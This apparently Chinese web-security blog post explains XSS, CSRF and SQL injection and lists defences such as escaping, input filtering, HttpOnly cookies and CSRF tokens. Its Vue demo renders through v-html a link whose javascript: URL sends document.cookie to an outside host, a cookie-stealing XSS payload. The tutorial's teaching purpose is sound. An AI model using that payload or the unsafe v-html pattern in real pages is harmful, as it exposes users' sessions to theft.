前端XSS攻击问题

1.XSS攻击是Web攻击中最常见的攻击方法之一,它是通过对网页注入可执行代码且成功地被浏览器 执行,达到攻击的目的,形成了一次有效XSS攻击,一旦攻击成功,它可以获取用户的联系人列表,然后向联系人发送虚假诈骗信息,可以删除用户的日志等等,有时候还和其他攻击方式同时实 施比如SQL注入攻击服务器和数据库、Click劫持、相对链接劫持等实施钓鱼,它带来的危害是巨 大的,是web安全的头号大敌。
1.窃取cookies,读取目标网站的cookie发送到黑客的服务器上,
2读取公开的资料,如果:邮件列表或者内容、系统的客户资料,联系人列表等等,

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Title</title>
    <script src="https://cdn.jsdelivr.net/npm/vue/dist/vue.js"></script>
</head>
<body>
<div id="box">
    {{10+20}}
    {{myname}}
    {{myhtml}}
    <div v-html="myhtml"></div>
</div>
<script type="text/javascript">
    var vm=new Vue({
        el:"#box",
        data:{
            myname:"1111",
            myhtml:"<a href=javascript:location.href='http://www.baidu.com?cookie='+document.cookie>点击</a>"
        }
    })
</script>
</body>
</html>

vue中的v-html容易引起xss攻击,(csrf)
解决办法:前端过滤,后台转义,给cookie加上属性http
1、编码,就是转义用户的输入,把用户的输入解读为数据而不是代码

2、校验,对用户的输入及请求都进行过滤检查,如对特殊字符进行过滤,设置输入域的匹配规则等。

2.CSRF概念:CSRF跨站请求伪造(Cross—Site Request Forgery)
CSRF攻击攻击原理及过程如下

用户C打开浏览器,访问受信任网站A,输入用户名和密码请求登录网站A;
在用户信息通过验证后,网站A产生Cookie信息并返回给浏览器,此时用户登录网站A成功,可以正常发送请求到网站A;
用户未退出网站A之前,在同一浏览器中,打开一个TAB页访问网站B;
网站B接收到用户请求后,返回一些攻击性代码,并发出一个请求要求访问第三方站点A;
浏览器在接收到这些攻击性代码后,根据网站B的请求,在用户不知情的情况下携带Cookie信息,向网站A发出请求。网站A并不知道该请求其实是由B发起的,所以会根据用户C的Cookie信息以C的权限处理该请求,导致来自网站B的恶意代码被执行。

防御CSRF攻击:

​ 目前防御 CSRF 攻击主要有2种策略:验证 HTTP 请求的Referer 字段;在请求地址中添加 token 并验证

3.SQL注入
SQL注入就是一种通过操作输入来修改后台SQL语句达到代码执行进行攻击目的的技术。

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值